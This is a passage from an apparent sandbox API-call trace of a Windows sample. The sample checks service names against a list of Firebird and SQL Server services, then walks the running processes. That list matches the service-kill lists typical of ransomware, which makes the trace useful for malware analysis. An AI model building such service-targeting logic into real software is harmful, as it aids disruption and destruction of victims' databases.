lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0268.983] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0268.983] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0268.983] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0268.983] lstrlenW (lpString="MpsSvc") returned 6 [0268.983] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0268.983] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0268.983] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0268.983] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0268.983] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0268.983] lstrlenW (lpString="NcbService") returned 10 [0268.984] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0268.984] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0268.984] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0268.984] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0268.984] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0268.984] lstrlenW (lpString="netprofm") returned 8 [0268.984] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0268.984] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0268.984] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0268.984] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0268.984] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0268.984] lstrlenW (lpString="NgcSvc") returned 6 [0268.984] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1 [0268.984] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1 [0268.984] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1 [0268.984] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1 [0268.984] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1 [0268.985] lstrlenW (lpString="NlaSvc") returned 6 [0268.985] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0268.985] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0268.985] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0268.985] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0268.985] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0268.985] lstrlenW (lpString="nsi") returned 3 [0268.985] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0268.985] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0268.985] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0268.985] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0268.985] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0268.985] lstrlenW (lpString="PcaSvc") returned 6 [0268.985] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0268.985] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0268.985] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0268.985] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0268.986] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0268.986] lstrlenW (lpString="PlugPlay") returned 8 [0268.986] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0268.986] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0268.986] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0268.986] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0268.986] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0268.986] lstrlenW (lpString="Power") returned 5 [0268.986] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0268.986] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0268.986] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0268.986] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0268.986] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0268.986] lstrlenW (lpString="ProfSvc") returned 7 [0268.986] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0268.986] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0268.987] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0268.987] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0268.987] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0268.987] lstrlenW (lpString="RpcEptMapper") returned 12 [0268.987] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0268.987] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0268.987] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0268.987] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0268.987] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0268.987] lstrlenW (lpString="RpcSs") returned 5 [0268.987] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0268.987] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0268.987] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0268.987] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0268.987] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0268.987] lstrlenW (lpString="SamSs") returned 5 [0268.987] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0268.988] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0268.988] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0268.988] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0268.988] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0268.988] lstrlenW (lpString="Schedule") returned 8 [0268.988] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0268.988] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0268.988] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0268.988] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0268.988] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0268.988] lstrlenW (lpString="SecurityHealthService") returned 21 [0268.988] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0268.988] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0268.988] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0268.988] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0268.988] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0268.988] lstrlenW (lpString="SENS") returned 4 [0268.989] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0268.989] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0268.989] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0268.989] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0268.989] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0268.989] lstrlenW (lpString="ShellHWDetection") returned 16 [0268.989] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0268.989] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0268.989] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0268.989] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0268.989] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0268.989] lstrlenW (lpString="Spooler") returned 7 [0268.989] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0268.989] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0268.989] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0268.989] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0268.989] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0268.990] lstrlenW (lpString="StateRepository") returned 15 [0268.990] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0268.990] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0268.990] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0268.990] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0268.990] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0268.990] lstrlenW (lpString="SysMain") returned 7 [0268.990] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0268.990] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0268.990] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0268.990] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0268.990] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0268.990] lstrlenW (lpString="SystemEventsBroker") returned 18 [0268.990] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0268.990] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0268.990] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1 [0268.990] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1 [0268.991] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1 [0268.991] lstrlenW (lpString="Themes") returned 6 [0268.991] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0268.991] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0268.991] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0268.991] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0268.991] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0268.991] lstrlenW (lpString="tiledatamodelsvc") returned 16 [0268.991] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0268.991] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0269.102] lstrcmpiW (lpString1="sqlwriter", lpString2="tiledatamodelsvc") returned -1 [0269.102] lstrcmpiW (lpString1="mssqlserver", lpString2="tiledatamodelsvc") returned -1 [0269.102] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6e07d8 | out: hHeap=0x630000) returned 1 [0269.102] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x125c [0269.108] Process32FirstW (in: hSnapshot=0x125c, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0269.108] Process32NextW (in: hSnapshot=0x125c, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6a, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0269.109] lstrlenW (lpString="System") returned 6 [0269.109] Process32NextW (in: hSnapshot=0x125c, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0269.110] lstrlenW (lpString="smss.exe") returned 8 [0269.110] Process32NextW (in: hSnapshot=0x125c, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x19c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0269.111] lstrlenW (lpString="csrss.exe") returned 9 [0269.111] Process32NextW (in: hSnapshot=0x125c, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0269.112] lstrlenW (lpString="wininit.exe") returned 11 [0269.112] Process32NextW (in: hSnapshot=0x125c, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0269.113] lstrlenW (lpString="csrss.exe") returned 9 [0269.113] Process32NextW (in: hSnapshot=0x125c, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x234, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0269.114] lstrlenW (lpString="winlogon.exe") returned 12 [0269.114] Process32NextW (in: hSnapshot=0x125c, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0269.115] lstrlenW (lpString="services.exe") returned 12 [0269.115] Process32NextW (in: hSnapshot=0x125c, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x258, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0269.116] lstrlenW (lpString="lsass.exe") returned 9 [0269.116] Process32NextW (in: hSnapshot=0x125c, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x234, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0269.123] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0269.123] Process32NextW (in: hSnapshot=0x125c, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0269.124] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0269.124] Process32NextW (in: hSnapshot=0x125c, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0269.125] lstrlenW (lpString="svchost.exe") returned 11 [0269.125] Process32NextW (in: hSnapshot=0x125c, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0269.126] lstrlenW (lpString="svchost.exe") returned 11 [0269.126] Process32NextW (in: hSnapshot=0x125c, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x364, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x234, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0269.127] lstrlenW (lpString="dwm.exe") returned 7 [0269.127] Process32NextW (in: hSnapshot=0x125c, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x37, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0269.128] lstrlenW (lpString="svchost.exe") returned 11 [0269.128] Process32NextW (in: hSnapshot=0x125c, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1e, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0269.129] lstrlenW (lpString="svchost.exe") returned 11 [0269.129] Process32NextW (in: hSnapshot=0x125c, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0269.130] lstrlenW (lpString="svchost.exe") returned 11 [0269.130] Process32NextW (in: hSnapshot=0x125c, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0269.131] lstrlenW (lpString="svchost.exe") returned 11 [0269.131] Process32NextW (in: hSnapshot=0x125c, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x39c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x25, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0269.132] lstrlenW (lpString="svchost.exe") returned 11 [0269.132] Process32NextW (in: hSnapshot=0x125c, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x434, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0269.133] lstrlenW (lpString="svchost.exe") returned 11 [0269.133] Process32NextW (in: hSnapshot=0x125c, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0269.134] lstrlenW (lpString="svchost.exe") returned 11 [0269.134] Process32NextW (in: hSnapshot=0x125c, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x518, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0269.135] lstrlenW (lpString="svchost.exe") returned 11 [0269.135] Process32NextW (in: hSnapshot=0x125c, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x520, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0269.136] lstrlenW (lpString="svchost.exe") returned 11 [0269.136] Process32NextW (in: hSnapshot=0x125c, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x548, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0269.137] lstrlenW (lpString="svchost.exe") returned 11 [0269.137] Process32NextW (in: hSnapshot=0x125c, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x618, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0269.138] lstrlenW (lpString="spoolsv.exe") returned 11 [0269.138] Process32NextW (in: hSnapshot=0x125c, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x678, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0269.139] lstrlenW (lpString="svchost.exe") returned 11 [0269.139] Process32NextW (in: hSnapshot=0x125c, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x698, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x4bc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0269.140] lstrlenW (lpString="audiodg.exe") returned 11 [0269.140] Process32NextW (in: hSnapshot=0x125c, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x71c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0269.141] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0269.141] Process32NextW (in: hSnapshot=0x125c, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x76c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0269.142] lstrlenW (lpString="Memory Compression") returned 18 [0269.142] Process32NextW (in: hSnapshot=0x125c, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0269.143] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0269.143] Process32NextW (in: hSnapshot=0x125c, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x874, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0269.144] lstrlenW (lpString="sihost.exe") returned 10 [0269.144] Process32NextW (in: hSnapshot=0x125c, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x884, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0269.145] lstrlenW (lpString="svchost.exe") returned 11 [0269.145] Process32NextW (in: hSnapshot=0x125c, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0269.146] lstrlenW (lpString="taskhostw.exe") returned 13 [0269.146] Process32NextW (in: hSnapshot=0x125c, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3c4, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1 [0269.241] lstrlenW (lpString="msoia.exe") returned 9 [0269.242] Process32NextW (in: hSnapshot=0x125c, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x37, th32ParentProcessID=0x9b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0269.242] lstrlenW (lpString="explorer.exe") returned 12 [0269.243] Process32NextW (in: hSnapshot=0x125c, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xae0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x2c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0269.243] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0269.244] Process32NextW (in: hSnapshot=0x125c, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x2c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0269.244] lstrlenW (lpString="SearchUI.exe") returned 12 [0269.245] Process32NextW (in: hSnapshot=0x125c, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0269.245] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0269.245] Process32NextW (in: hSnapshot=0x125c, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x2c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0269.246] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0269.246] Process32NextW (in: hSnapshot=0x125c, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x9c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="load0.exe")) returned 1 [0269.247] lstrlenW (lpString="load0.exe") returned 9 [0269.247] Process32NextW (in: hSnapshot=0x125c, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xde4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0269.248] lstrlenW (lpString="dllhost.exe") returned 11 